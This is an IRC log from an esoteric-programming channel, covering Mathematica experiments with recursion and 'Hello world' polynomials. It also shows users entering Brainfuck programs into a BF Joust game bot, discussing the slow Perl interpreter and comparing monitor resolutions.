N/(M**X) might end up being still much larger than M 00:50:50 Also yay I did every lisp and recursive functions! 00:50:54 Now to do the lambda and shit 00:51:00 unless you go to fractions 00:51:05 oerjan: coo coo 00:51:21 Slereah_: can you define types in mathematica? 00:51:22 ehird: huh? 00:51:32 ehird : No idea 00:52:09 oerjan: coo=cool 00:52:18 ehird: oh, in floating point the going to fractions version would be the mantissa, i think 00:52:24 Slereah_: Do you know how to bring up the last line in mathematica? It's so annoying going to it and hitting enter 00:52:38 actually enter doesn't work 00:52:39 In[21]:= I =. 00:52:39 During evaluation of In[21]:= Unset::wrsym: Symbol \[ImaginaryI] is \ 00:52:39 Protected. >> 00:52:39 Out[21]= $Failed 00:52:40 you have to copy/paste 00:52:41 huuuu 00:52:44 oh, or significand 00:52:48 Damn you 00:54:14 ehird: actually http://en.wikipedia.org/wiki/Significand seems to have two meanings related to my two last suggestions 00:54:27 kay 00:56:48 Hm 00:56:58 I'm not sure Mathematica can actually handle lambdas 00:57:08 It's not too hard to do, but still 00:57:41 Slereah_: just represent them as {lambda,closure,code} 00:58:53 Hm. 00:58:58 Now for the pi calculus... 01:00:57 Let's try out a bit the recursive functions first 01:02:29 Slereah_: do you know what is cool? 01:02:31 Plot3D. 01:02:36 It's okay 01:02:41 ! 01:02:51 Ah, maybe I have to define primitive recursion, too 01:03:59 go one step further and define jurassic recursion 01:04:44 (you may have to invent the term first) 01:04:54 the meaning of it, i mean 01:05:27 rec[x_, y__, f_, g_] := If[x == 0, g[y], f[x, y, f[x - 1], y]] 01:05:27 Hope it werks 01:09:49 1[1, 1, s[p[3, 1]], 1[0, 1]] < This does not look very worky 01:10:30 Slereah_: how can x be 0 01:10:32 it's a sequence 01:11:16 hmm 01:11:23 i has a mathematica function that doth not work myself 01:11:29 No it's not 01:11:33 x_ is just one element 01:11:44 y__ is many 01:12:33 Slereah_: er 01:12:36 just one element is just "x" 01:12:45 Nnnno? 01:12:45 oh 01:12:47 you are right 01:12:48 waitttt 01:12:52 Slereah_: what happens if you just do 01:12:54 f[x] 01:12:56 does it think its an atom 01:12:57 Lessee 01:12:59 THAT SOLVES MY PROBLEM 01:12:59 <3 01:13:52 HelloWorld[x_] := 01:13:53 Round[96.75 + -21.98*Cos[x*1.118] + 01:13:54 13.29*Sin[x*1.118] + -8.387*Cos[2*x*1.118] + 01:13:56 17.94*Sin[2*x*1.118] + 1.265*Cos[3*x*1.118] + 01:13:58 16.58*Sin[3*x*1.118] + 3.988*Cos[4*x*1.118] + 01:14:00 8.463*Sin[4*x*1.118] + 0.3583*Cos[5*x*1.118] + 01:14:02 5.878*Sin[5*x*1.118]] 01:14:04 LATER: 01:14:06 In[70]:= FromCharacterCode[HelloWorld /@ Range[0, 11]] 01:14:08 Out[70]= "Hello world!" 01:14:14 (http://www.poromenos.org/node/89) 01:14:29 In[55]:= rec[x_, y__, f_, g_] := 01:14:29 If[x == 0, g[y], f[x, y, g, f[x - 1, y]]] 01:14:29 In[54]:= plus[x_, y_] := rec[x, y, y, s[p[3, x]]] 01:14:29 In[56]:= plus[1, 1] 01:14:29 Out[56]= 1[1, 1, s[p[3, 1]], 1[0, 1]] 01:14:32 fuuuu 01:14:51 erm 01:14:55 Slereah_: rec[x,y,y 01:14:59 so you pass in y as f 01:15:01 and from your code 01:15:02 f[ 01:15:06 so you're trying to call 1 as a function 01:15:07 don't 01:15:36 Oh yeah 01:15:47 It should be... well, the projection function, really 01:15:51 I think I fitted ("fut"?) a Hello, World! polynom; I don't remember what the purpose was. 01:16:51 Except... I can't really pass the projection function as a function? 01:16:52 Aaaargh 01:17:18 I need to redefine p as a class of functions, I guess 01:17:18 Slereah_: You need to implement that yourself, I think. 01:17:29 An argument brings back the correct projection function 01:18:05 Although I'm not too sure how to do it 01:19:30 Ah, I can just use Part 01:21:38 HelloWorld[ 01:21:38 x_] := -95650 + (21843120265*x)/72072 - (112096622047*x^2)/ 01:21:40 277200 + (555063110881*x^3)/1814400 - (536874245743*x^4)/ 01:21:42 3628800 + (353243077547*x^5)/7257600 - (54539603707*x^6)/ 01:21:44 4838400 + (1696200589*x^7)/907200 - (1079063647*x^8)/ 01:21:46 4838400 + (68808973*x^9)/3628800 - (16265027*x^10)/ 01:21:48 14515200 + (872351*x^11)/19958400 - (53819*x^12)/ 01:21:50 53222400 + (991*x^13)/94348800 01:21:52 An alternate hello world function. 01:21:54 Has comma, newline. 01:22:59 * pikhq is scared 01:24:19 * pikhq contemplates jurassic recursion 01:26:26 Ah, getting closer 01:26:35 While 1+1=1, at least there's a result. 01:28:08 bye 01:28:26 Oh, I guess I can't compose functions like that. 01:28:37 fuuuu 01:29:49 pikhq: it probably involves a food chain somehow 01:37:06 -!- Slereah_ has set topic: We Conjure the Spirits of the Computer with our Spells | http://tunes.org/~nef/logs/esoteric/. 01:37:41 you are trying to confuse the magickians even more, i take 01:37:52 I'm in favor. 01:38:05 * pikhq wants someone to think of him as a technomage. :) 01:39:39 It's actually a song 01:39:46 http://dqn.dqn.lol.googlepages.com/SICP_wizard.jpg/SICP_wizard-full;init:.jpg 01:39:46 http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3 01:46:34 Hey wait 01:46:51 Although Limp would be a bitch to program on Mathematica, or anywhere, really 01:46:58 Arithmetica should be easy to whip up! 01:54:35 ... 01:54:47 Pi is a protected symbol 01:55:26 Ah, you can unprotect shit 01:55:28 Good 01:59:58 Kudos to Mathematica, for it has the obsolete greek characters 02:04:52 what, digamma? 02:14:05 Yeah 02:14:35 Also koppa, stigma and sampi 02:15:58 so can it give results in greek numerals? 02:20:02 I'm trying to define the syntax so that it does, but so far, not a lot of results 02:27:14 -!- oerjan has quit ("Good night"). 03:18:53 who's home 04:18:02 -!- zzo38 has joined. 04:18:26 Well, how do *you* think FlogScript and GolfScript compare with each other? 04:20:03 Nobody has been on here for more than an hour? 04:20:35 HONTOU 04:20:40 NI HONTOU 04:21:06 What's HONTOU 04:21:17 What's NI HONTOU 04:22:30 Do you know how to make up a music for MZX game, some people on other channel doesn't do that 04:24:07 This one I can't sent CTRL+G it tells me is no text to send. 04:26:30 O it is slow that's why it doesn't work OK 04:27:32 -!- zzo38 has quit ("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"). 04:46:19 -!- psygnisfive has joined. 05:05:28 -!- Corun has quit (Read error: 110 (Connection timed out)). 07:09:02 -!- Sgeo has quit ("Leaving"). 07:10:15 i think GregorR said lzma was fast 07:10:34 gzip - 26 minutes, bzip2, 110 minutes, lzma - 246 minutes 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:20:12 -!- psygnisfive has quit (Read error: 113 (No route to host)). 08:37:39 -!- bsmntbombdood has quit (anthony.freenode.net irc.freenode.net). 08:38:26 -!- bsmntbombdood has joined. 08:42:34 -!- M0ny has joined. 09:06:58 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 10:08:10 -!- deveah has joined. 10:08:25 morning 10:59:35 -!- deveah has changed nick to deveah|afk. 11:18:01 -!- KingOfKarlsruhe has joined. 11:34:14 -!- Slereah_ has quit (Read error: 60 (Operation timed out)). 11:34:16 -!- Slereah has joined. 11:36:42 -!- FireFly has joined. 11:48:28 -!- BeholdMyGlory has joined. 11:54:41 -!- BeholdMyGlory_ has joined. 12:02:30 -!- BeholdMyGlory has quit (Nick collision from services.). 12:02:33 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 12:10:06 -!- Dewio has changed nick to Dewi. 12:23:17 -!- deveah|afk has changed nick to deveah. 12:24:17 -!- Corun has joined. 12:32:50 -!- BeholdMyGlory_ has joined. 12:33:47 Hm 12:33:56 Can you redefine the syntax in Mathematica? 12:34:11 I tried using ^:=, but it doesn't seem to work so well 12:40:05 -!- Corun has quit (Remote closed the connection). 12:42:43 -!- Corun has joined. 12:48:27 -!- BeholdMyGlory has quit (Connection timed out). 12:50:09 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 12:56:25 -!- Corun has quit (Remote closed the connection). 13:22:35 -!- KingOfKarlsruhe has quit (Remote closed the connection). 13:37:54 -!- deveah has quit (Read error: 110 (Connection timed out)). 13:53:12 -!- oerjan has joined. 14:25:53 -!- oerjan has quit ("leaving"). 14:44:30 -!- AnMaster has quit (Connection timed out). 15:11:36 -!- kar8nga has joined. 15:32:22 -!- dd-flex has joined. 15:48:21 -!- azumanga has joined. 15:52:45 -!- dd-flex has left (?). 16:03:09 -!- azumanga has quit. 16:35:20 -!- ehird has left (?). 16:35:38 -!- ehird has joined. 16:39:19 00:39 Slereah_: It's actually a song ← originally a sick pea lecture quote 16:39:27 and i liked that song before it was cool :| 16:39:43 00:54 Slereah_: Pi is a protected symbol 16:39:43 00:55 Slereah_: Ah, you can unprotect shit 16:39:44 00:55 Slereah_: Good 16:39:46 good god, just giv eit another name 16:41:22 -!- seanstickle has joined. 16:54:31 Hi seanstickle 16:54:40 Hi ehird ! 16:54:53 haven't seen you here before, you new? 16:55:12 I am. I saw a reference to the channel from coverage of the Brainfuck KOTH 16:55:17 (/me looks at logs and notices two other new people since Slereah changed the topic. coincidence? I think not) 16:55:20 Thought I'd stop in and see what all is cool and stuff 16:55:23 seanstickle: "Brainfuck KOTH", heh 16:55:29 's just ais5523's BF Joust variant :-) 16:55:34 Yes 16:55:49 if you want to play, "!bfjoust nameofchallenger code" in here or /msg EgoBot works. http://codu.org/eso/bfjoust/in_egobot/report.txt has the report :-) 16:55:52 Back in the day, I dabbled in Corewar, and this seemed interesting to me 16:56:00 Yar. 16:56:18 \translate-pirate-speech 16:56:31 Yes, but more ... pirate. 16:57:07 Hmm... the first comment on http://retrocode.blogspot.com/2009/05/bf-joust-king-of-hill.html: "BF? this was that whole thing that came out of where perl stands?". I tell you, when the last esolang finally loses its last user, someone will make that tired joke. 17:00:07 Slereah: 17:00:08 FromCharacterCode[72 + (29 + (-11 + (5/2 + (-5/24 + (-3/4 + (241/360 17:00:10 + (-171/560 + (3779/40320 + (-31/1440 + (197/50400 + (-11521/19958400 17:00:12 + (1523*(-12 + #1))/21772800)*(-11 + #1))*(-10 + #1))*(-9 + #1))*(-8 17:00:14 + #1))*(-7 + #1))*(-6 + #1))*(-5 + #1))*(-4 + #1))*(-3 + #1))*(-2 + 17:00:16 #1))*(-1 + #1)& /@ Range[13]] 17:01:04 -!- kar8nga has quit (Remote closed the connection). 17:07:01 -!- ehird has set topic: We Conjure the Spirits of the Computer with our Spells | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 17:12:25 -!- coppro has joined. 17:21:54 -!- Taejo has joined. 17:27:01 -!- seanstickle has left (?). 17:27:55 !bfjout Neniam [>-] 17:34:59 It's amusing how impomatic can make this channel twice as active :-) 17:35:05 Taejo: try "joust" 17:35:38 ehird: right 17:35:41 !bfjoust Neniam [>-] 17:35:50 Score for Neniam: -7 (maximum 25) 17:36:43 Taejo: that does not blank any cell 17:36:49 Taejo: it also stops immediately 17:36:56 wait, no 17:36:59 Taejo: it just does 17:37:11 0 0 0 0 -> 255 0 0 0 -> 255 255 0 0 -> 17:37:11 etc 17:37:16 yes 17:37:26 that makes your opponent possibly slow down 17:37:29 but never blanks their flag 17:37:35 indeed 17:37:37 !bfjoust Neniel [-+] 17:37:46 does bfjoust have +? 17:37:47 defend, Neniel, defend 17:37:51 wait that was fukyorbrane 17:38:08 Taejo: an improvement to consider: if it's non-zero, [-]. otherwise, - 17:38:15 that'll set up a lot of guards, but get rid of flags (but also duds) 17:38:48 Score for Neniel: -11 (maximum 25) 17:38:57 ehird: yeah, just throwing in a few trivialities to get myself going. been a while since I wrote brainfuck 17:39:00 :) 17:39:30 ehird: is it +1 for a win, -1 for a loss, 0 for a draw? 17:41:16 I think it's -1 for a draw or something 17:41:20 The program is a bit odd and has some bugs, iirc 17:45:19 ehird: struggling to figure out the "otherwise" part of your improvement 17:45:46 -!- Gracenotes has quit (Read error: 60 (Operation timed out)). 17:46:15 Taejo: As in, if the cell we're on is zero, decrement one. This makes it 255, and serves as a barrier. If it's non-zero, [-] to set it to zero. This wipes out flags, but slows down on duds. However, your current program can never win a match, so it's an improvement. 17:46:52 ehird: I meant, I'm struggling to figure out how to implement it 17:47:20 Taejo: Hmm. Something like: 17:47:25 !bfjoust ---[>[-]---] 17:47:25 Use: !bfjoust 17:48:07 Is program name the name of an existing program, or one that I make up? 17:48:12 Make up. 17:48:18 !bfjoust MzX ---[>[-]---] 17:48:28 Score for MzX: -4 (maximum 26) 17:49:14 !bfjoust Neniel (>)*10-[[-]>-] 17:49:49 Taejo: [-[>(I forget how, but: If non-zero,)[-](else)-(endif)].+] 17:49:51 Something like that. 17:50:06 http://esolangs.org/wiki/Brainfuck_algorithms 17:50:15 ehird: excellent 17:50:15 Score for Neniel: -11 (maximum 26) 17:50:24 Taejo: But with actual code in place of (placeholders) :P 18:00:07 strange game: the score reported by the bot is different from the one in http://codu.org/eso/bfjoust/report.txt 18:01:07 Yeah. 18:01:09 !bfjoust Neniel2 (>)*10-[[-]>>-] 18:01:11 That's called a bug. :-) 18:01:31 Score for Neniel2: -7 (maximum 27) 18:01:46 It'd be nice if people prefixed their prog names with their name. 18:02:00 ehird: sorry, never thought about it 18:02:03 'sok 18:02:04 :-) 18:02:50 -!- Taejo has changed nick to Neni. 18:02:55 ehird: there 18:03:03 oh, this nick is registered 18:03:03 Neni: hahaha 18:03:07 -!- Neni has changed nick to Nen. 18:03:12 this one too 18:03:48 -!- Nen has changed nick to Ne. 18:04:01 /nick N 18:04:04 /nick 18:04:08 /nick 18:04:09 /nic 18:04:12 etc 18:04:20 I give up, they're all registered 18:04:23 -!- Ne has changed nick to Taejo. 18:04:32 Taejo: try Nenie 18:05:05 ehird: that's not a prefix of Neniam 18:05:15 -!- Taejo has changed nick to Nenie. 18:05:19 Taejo: your pograms are Neniel 18:05:23 Nenie is a prefix of Neniel 18:05:47 my first was called Neniam 18:06:02 !bfjoust MzX >[-]-[>[-]-] 18:06:09 it's esperanto for never, since it would never win a game 18:06:24 Neniel = no way, nenie = nowhere 18:06:24 heh 18:06:28 Score for MzX: -6 (maximum 27) 18:08:45 !bfjoust Nenie.hopeful (>->+)*5[[-]>>-] 18:08:46 -!- inurinternet has joined. 18:09:03 Nenie: think . is invalid 18:09:21 !bfjoust MzX2 >--->+++>--->+[>[-[-[-[++++[+[+[-]]]]]]]--->[-[-[-[++++[+[+[-]]]]]]]+++] 18:09:55 Score for MzX2: -7 (maximum 29) 18:09:59 beh 18:10:05 !bfjoust Nenie_hopeful (>->+)*5[[-]>>-] 18:10:53 Score for Nenie_hopeful: -6 (maximum 28) 18:11:55 Score for Nenie_hopeful: -3 (maximum 29) 18:13:02 -!- AnMaster has joined. 18:15:44 !bfjoust MzX_fail [-]-[+<[-]-] 18:16:07 MizardX: that goes left off tape 18:16:26 I know. I wanted too see how low score you can get 18:16:41 Score for MzX_fail: -9 (maximum 30) 18:16:43 :D 18:16:58 !bfjoust ehird_rubbish [-]. 18:17:56 Score for ehird_rubbish: -11 (maximum 31) 18:18:24 !bfjoust ehird_rubbish2 < 18:18:25 !bfjoust lifthrasiir_stupid >--->+++>--->+[[>][-][<]+] 18:18:30 Score for ehird_rubbish2: -2 (maximum 33) 18:18:30 Score for lifthrasiir_stupid: -4 (maximum 33) 18:18:36 seems... interesting. 18:18:41 I think my -11 is the worst yet 18:18:47 Wait a second. 18:18:52 !bfjoust ehird_rubbish3 [+]. 18:18:58 I think that may obliterate itself even faster. 18:19:46 -!- psygnisfive has joined. 18:20:05 Score for ehird_rubbish3: -12 (maximum 34) 18:20:09 wait, my bfjoust code didn't match my intention. 18:20:12 MWAHAHAHAHAHAHA!! 18:20:17 I win at losing! 18:20:33 ofc that's just because there's one more challenger 18:20:38 ehird: how about []? 18:20:58 lifthrasiir: mine does better, as it completely erases itself instantly 18:21:00 i.e., suicides 18:21:04 instead of waiting to be killed 18:21:08 ah right 18:21:17 well not instantly it takes some cycles 18:21:19 but you can't do it faster 18:22:29 !bfjoust MzX3 >(+[[-]>+])*3 18:23:14 Score for MzX3: -7 (maximum 35) 18:23:54 * ehird idea 18:24:02 !bfjoust ehird_rubbish4 (-)*128 18:24:09 Takes less cycles ;). 18:24:09 Score for ehird_rubbish4: -6 (maximum 36) 18:24:15 (Since, iirc, looping has a cos— WTF? 18:24:18 Er, ). 18:25:19 !bfjoust lifthrasiir_stupid2 >--->+++>--->+[>[-]+] 18:25:59 Score for lifthrasiir_stupid2: -10 (maximum 37) 18:26:05 ;) 18:26:29 frankly i cannot think of any stretagy for bfjoust 18:26:38 !bfjoust MzX4 >+[[>]<[-]>+] 18:26:39 lifthrasiir: defend, attack, and another 18:26:42 ais523 found 3 18:26:43 and he made it 18:26:46 Score for MzX4: -4 (maximum 38) 18:27:51 !bfjoust lifthrasiir_stupid3 >--->+++>--->>+[[+>][<]] 18:28:11 wait that will overflow... omg. 18:28:16 !bfjoust MzX5 >+[[->+][>]<[-]>+] 18:28:32 Score for MzX5: -4 (maximum 40) 18:28:59 Score for lifthrasiir_stupid3: -12 (maximum 39) 18:29:10 !bfjoust lifthrasiir_stupid4 >--->+++>--->>+[[+>][<]>] 18:29:43 bfjoust is slooooow >:( 18:29:50 Slow like a green. 18:29:50 slooooooow :p 18:30:11 Score for lifthrasiir_stupid4: -11 (maximum 41) 18:30:15 huh? 18:30:23 it didn't work at all as expected 18:34:06 !bfjoust MzX6 >++++>---->++++>+[>[->>]<[-]>+] 18:34:12 !bfjoust copppro1 >+[[-]>+] 18:34:31 Score for MzX6: -6 (maximum 42) 18:34:34 !showinterp bfjoust 18:35:06 Score for copppro1: -8 (maximum 43) 18:35:14 bfjoust isn't a userinterp. 18:35:17 oh 18:35:24 how do you actually play someone else? 18:35:24 But it's Perl and slow :P 18:35:30 oh, nevermind I get it 18:35:34 When you give a program, it p--- yeah :P 18:35:36 the score is you versus everyone else 18:35:49 anyway to delete a program 18:35:55 Yuh, and it gives a breakdown at http://codu.org/eso/bfjoust/report.txt 18:35:58 You ask me to delete it :P 18:36:11 GregorR-L: can you delete all of the crap ones :P 18:36:11 I see a blank file 18:36:35 coppro: It has to finish running them all before it can generate the report, which takes for freaking ever X_X 18:36:56 GregorR-L: it shows a blank fully loaded file 18:37:04 not a waiting thing 18:37:05 yes. 18:37:10 coppro: it does 18:37:11 foo>report.txt 18:37:15 which blanks report.txt first 18:37:17 oh 18:37:21 that's why cat a b>a doesn't work 18:38:23 What does "." do in bfjoust? 18:38:28 wait 18:38:56 MizardX: nop 18:39:03 MizardX: the opponent has to be 0 for two cycles 18:39:08 so if you know it's not defending, you can . to nop 18:39:09 etc 18:40:02 it's still not loaded :( 18:40:17 Somebody rewrite bfjoust.pl in C :P 18:40:30 And/or determine why it's so slow. 18:40:39 GregorR-L: it's ais523 code 18:40:44 i don't know how that's relevant 18:40:48 but it's probably very inherent 18:40:53 I bet he used a really slow perl feature or something 18:41:02 lots of regexes 18:41:19 coppro: perl regexs are superoptimized 18:41:26 Holy crapsicles, there are like 30 programs here. 18:41:29 I wrote a haskell slashes interp, and it was beaten by oerjan's which abused every feature of perl regexs 18:41:33 and that's compiled haskell 18:42:23 s/^(\(((?:[\-+<>.*0-9%\[\]]|$bgroup)*)\{(?(?:[\-+<>.*0-9%\[\]]|$bgroup|\{(?&BRACE)\})*)\}(?(?:[\-+<>.*0-9%{}\[\]]|$bgroup)*)\))\%(?[0-9]+)/$+{NUM} ? "$2$1%".($+{NUM}-1).$+{AFTER} : $+{BRACE}/ex 18:42:24 yike 18:42:26 *yikes 18:42:29 Oerjan's crazy. 18:43:17 s/^(\(((?:[\-+<>.*0-9%\[\]]|$bgroup)*)\{(?(?:[\-+<>.*0-9%\[\]]|$bgroup|\{(?&BRACE)\})*)\}(?(?:[\-+<>.*0-9%{}\[\]]|$bgroup)*)\))\%(?[0-9]+)/$+{NUM} ? "$2$1%".($+{NUM}-1).$+{AFTER} : $+{BRACE}/ex 18:43:25 Erm. 18:43:27 Ehm. 18:43:40 I am talking about http://oerjan.nvg.org/esoteric/slashes/slashes.pl 18:43:44 Trying to just select that and send it to someone else. 18:43:46 Not whatever you guys are talking about. 18:43:51 pikhq: that's not oerjan's code. 18:43:54 Maybe it's from bfjoust.pl 18:43:59 It looks very ais523 18:44:00 He loves /e 18:44:00 ehird: That's also insane. 18:44:09 that paste is from bfjoust, yes 18:44:11 pikhq: Eh, there's only one gnarly regexp 18:44:14 if (s!^/((?:[^/\\]|\\.)*)/((?:[^/\\]|\\.)*)/!!s) { 18:44:17 which isn't that bad really 18:44:21 It's the timeouts that kill it. 18:44:30 GregorR-L: Just kill all of 'em? 18:44:33 Nothing much valuable here 18:44:36 *ther 18:44:36 When the programs time out, they can take as long as 3 seconds. 18:44:36 e 18:44:48 I'm deleting any of them that timeout, one sec :P 18:45:11 -!- M0ny has joined. 18:47:18 !bfjoust attack2 [>[-]+] 18:47:23 Score for attack2: -2 (maximum 5) 18:47:26 \o/ 18:47:30 Only 5 challengers now. 18:47:31 That's good. 18:47:42 report.txt is still blank 18:47:46 GregorR-L: you should make it delete the worst few challengers every now and then, say 18:47:50 coppro: BE. PATIENT! 18:47:53 GregorR-L: or just do it manually 18:47:59 Is it possible to get positive score? 18:48:00 there's 5 programs! 18:48:03 I could make report.txt do that. 18:48:12 coppro: That's 25 runs, it's up now. 18:48:19 oh, yay 18:48:44 ... 18:48:45 GregorR-L? 18:48:51 You deleted impomatic's programs. 18:48:55 Why did you do that? 18:49:11 I reverted everything. Which programs do you want to keep, I didn't delete anything permanently. 18:49:46 ... 18:49:49 Only the ones doing badly... 18:49:54 (And ones labeled "fail" etc.) 18:50:13 !bfjoust MzX >+[[>]<[-]>+] 18:50:14 Score for MzX: -1 (maximum 6) 18:50:14 (Anything with a positive score is absolutely not doing badly :P) 18:50:16 It took so freaking long to generate the report I didn't know which ones were doing badly :P 18:50:29 !bfjoust staller [.][+.][>[-]+] 18:50:40 Score for staller: -3 (maximum 7) 18:51:15 GregorR-L: why does it rerun every program when a new one is added? Can't it just use the old data? 18:51:41 It could, but I wrote it for FYB and FYB was fast enough that that doesn't matter :P 18:51:55 It would just be a PITA >_> 19:00:08 -!- Nenie has changed nick to Taejo. 19:00:36 !bfjoust taejo.simplexity (>->+)*5[[-]>-] 19:00:43 Score for taejo_simplexity: -1 (maximum 8) 19:03:13 -!- inurinternet has quit (No route to host). 19:05:05 -!- psygnisfive has quit (Read error: 60 (Operation timed out)). 19:07:45 !bfjoust taejo.jumpndrag (>)*10-[[-]>-] 19:07:50 Score for taejo_jumpndrag: -5 (maximum 9) 19:08:14 !bfjoust taejo.jumpndrag >-(>)*9-[[-]>-] 19:08:20 Score for taejo_jumpndrag: -3 (maximum 9) 19:13:10 !bfjoust taejo.drag >-(>+)*9-[[-]>-] 19:13:17 Score for taejo_drag: -7 (maximum 10) 19:36:57 !bfjoust taejo.jumpndrag (>)*10-[>[-]+] 19:36:58 Score for taejo_jumpndrag: -2 (maximum 10) 19:37:25 !bfjoust taejo.simplexity (>->+)*5[>[-]+] 19:37:26 Score for taejo_simplexity: -4 (maximum 10) 19:37:34 !bfjoust taejo.simplexity (>->+)*5[[-]>-] 19:37:41 Score for taejo_simplexity: -2 (maximum 10) 20:11:13 !bfjoust lifthrasiir.stupid +[[+>][+<]>] 20:11:20 Score for lifthrasiir_stupid: -5 (maximum 11) 20:11:31 !bfjoust lifthrasiir.stupid >>+[[+>][+<]>] 20:11:46 Score for lifthrasiir_stupid: -5 (maximum 11) 20:11:48 hmm. 20:12:04 !bfjoust lifthrasiir.stupid >>+[[+>][<]>>] 20:12:18 Score for lifthrasiir_stupid: -5 (maximum 11) 20:13:11 !bfjoust lifthrasiir.stupid >+[[-]->+] 20:13:19 Score for lifthrasiir_stupid: -2 (maximum 10) 20:13:44 -!- ais523 has joined. 20:17:34 -!- kar8nga has joined. 20:27:17 hi ais523 20:27:22 hi 20:27:46 ais523: GregorR-L (stupidly) reset bf joust when I told him to just remove some of the time-out, deliberately-terrible ones. 20:27:55 So your challengers are gone. impomatic's too. 20:28:03 I was wondering what caused the reset 20:28:08 but all my challengers are saved on my hard-drive 20:28:12 Timeouts. 20:29:06 pikhq: yeah but he just wiped it all 20:29:09 that's not weeding out the timeouters 20:29:26 -!- oerjan has joined. 20:29:44 well, defence programs playing each other can often both wait for the opponent to arrive, and the opponent doesn't 20:30:01 my interp detects when both interps are stuck in a tight infinite loop (i.e. []) 20:30:05 but not other situations 20:31:22 He said some opponents lagged up to 3 seconds. 20:31:27 So you should really put an upper bound on it. 20:31:30 A smaller one :P 20:31:42 it's deliberately large for various reasons 20:31:52 such as wait-for-ages-then-attack-slowly programs 20:33:45 !bfjoust ais523_attack5 [>[-]-.-.-.-.-.-] 20:33:47 Score for ais523_attack5: -2 (maximum 11) 20:34:00 !bfjoust ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000 20:34:25 ais523: then don't make it overwrite the report while it calculates? :P 20:34:28 Or is that a GregorR-L thing 20:34:45 it's copied from the fyb interp, that does the same thing 20:34:56 but if the report's inaccurate, not showing it seems appropriate 20:35:03 Score for ais523_defend5: -3 (maximum 12) 20:36:00 !bfjoust wait_forever +[.+] 20:36:02 Score for wait_forever: -3 (maximum 12) 20:36:48 pikhq: that doesn't wait forever, it'll suicide after a while 20:36:55 Fik. 20:37:10 !bfjout wait_forever +[.[-]+] 20:37:11 !bfjoust wait_forever [+-] 20:37:13 FTFY. 20:37:18 (Your flag starts on.) 20:37:25 Ah. 20:37:34 note that falling off the end of the program isn't a loss 20:37:38 just a detected infinite loop 20:37:40 "ftfy" stands for "fixed that for you" 20:37:54 Score for wait_forever: -5 (maximum 12) 20:38:02 !bfjoust wait_forever [.[-](+)*128] 20:38:03 :p 20:38:09 oh man 20:38:11 Score for wait_forever: -2 (maximum 12) 20:38:14 someone with an IBM T221 20:38:20 how could you use those things, everything would be so small 20:38:24 way too high dpi and res for 22" :-) 20:39:23 they paid $3k for it :P 20:39:39 !bfjoust lifthrasiir.defend1 >[+>+<(+>)*2(+<)*2(+>)*3(+<)*3(+>)*4(+<)*4(+>)*5(+<)*5(+>)*6(+<)*6(+>)*7(+<)*7(+>)*8(+<)*8(+>)*9(+<)*9] 20:39:46 Score for lifthrasiir_defend1: -5 (maximum 11) 20:39:48 ehird: maybe they used large and very well-shaped fonts 20:39:49 ehird: You can up the DPI setting, you know. 20:39:49 oops. 20:39:53 you wouldn't need anti-aliasing with something like that 20:39:57 ais523: they didn't 20:39:58 http://codehaus.org/~topping/screen.JPG 20:40:02 regular windows xp font sizes 20:40:07 which are tiny even on this 100dpi display 20:40:09 That's just dumb. 20:40:14 their IDE has a tiny font size too 20:40:43 I've got larger fonts in my terminal. 20:40:46 this is tasty coffee 20:40:50 And that's a freaking 9 point font! 20:41:23 ... And that's a 22" monitor? *Jeeze*. 20:41:34 pikhq: I have a 165dpi display. 20:41:37 ... it's an iPhone :-) 20:41:45 Only 3.5" inches and 480x320, but still. 20:41:53 s/ inches// 20:42:00 19" monitor. 20:42:18 1400x900. 20:42:24 I have a "bog standard" 20" widescreen iMac thingy at 1680x1050. 20:42:30 Almost exactly 100dpi. 20:42:42 i sooo don't understand fonts 20:42:48 bsmntbombdood: wat 20:42:50 Similar in DPI to my monitor. 20:42:57 Kinda cheap monitor, but whatever. 20:43:17 pikhq: Whaat? 20:43:22 Yours is 87dpi. 20:43:32 ehird: I said *similar*. 20:43:42 pikhq: The only range actually sold commonly is 84-100... 20:43:47 And the difference between 87 and 100 is gigantic. 20:43:51 Ah. 20:44:04 Anything ~94dpi or above is hard to make out the pixels on, but below that it's quite visible. 20:44:11 * pikhq would ideally like, say, a 20" or 22" 1080p monitor...] 20:44:28 * pikhq shrugs 20:44:34 I'm going for a 22" or 24" ... "1200p" monitor. 20:44:36 That's of the money-cost variety, though. 20:45:10 Haven't decided which. The 24"s have about 94-96dpi, which means I don't have to configure that sort of stuff (since it's default on just about everything) and things should be mostly the size that everyone else sees them as, but otoh 24" is bloody huge. 20:45:19 i do need to get a new monitor also 20:45:29 I mean, it might actually hurt my neck. 20:45:41 pikhq: http://www.novoventus.com/pics/T2211x.jpg pic of a T221 20:45:45 illegible as all fuck 20:45:45 I use my monitor for video display, as well. 20:45:58 Be nice to have something slightly larger. 20:45:58 who doesn't 20:46:13 But heck; in a dorm room, 19" works. 20:46:48 I just want a high-dpi ~30" screen mounted further behind me, but alas my room does not want that in its geometry. 20:46:53 Would be nice, though. 20:46:59 ehird: ... Wow. 20:47:07 pikhq: What was that wow to? 20:47:10 The pic or my comment? 20:47:14 The pic. 20:47:18 Right. 20:47:20 Completely unusable. 20:47:29 It *could* be usable. 20:47:32 pikhq: "The window in the top left is a 1600x1200 remote desktop. :|" 20:47:36 ehird: why would you want a screen behind your head? 20:47:40 you wouldn't be able to see it 20:47:42 ais523: Er. 20:47:43 :P 20:47:57 pikhq: THEY HAVE A REMOTE DESKTOP BIGGER THAN MY SCREEN IN A SMALL CORNER 20:47:58 AAAAAAAAAAAAAAAAAAAA 20:48:00 Configure your DPI settings right and you'll get some gorgeous fonts. 20:48:16 ehird: THEY COULD DISPLAY 4 1080P VIDEOS ON IT! 20:48:21 Wait 20:48:27 pikhq: Why the fuck would you want to do that. 20:48:33 Unless you have 4 brains. 20:48:35 I DON'T KNOW 20:48:39 GOOD POINT 20:48:42 WHO CARES I WANT ONE. 20:48:44 BUT THEY COULD 20:48:54 And SD video... 20:48:57 Haha 20:49:02 !show slashes 20:49:03 perl (sending via DCC) 20:49:06 You could probably display most of your cable stations on it at once. 20:49:40 !addinterp test perl 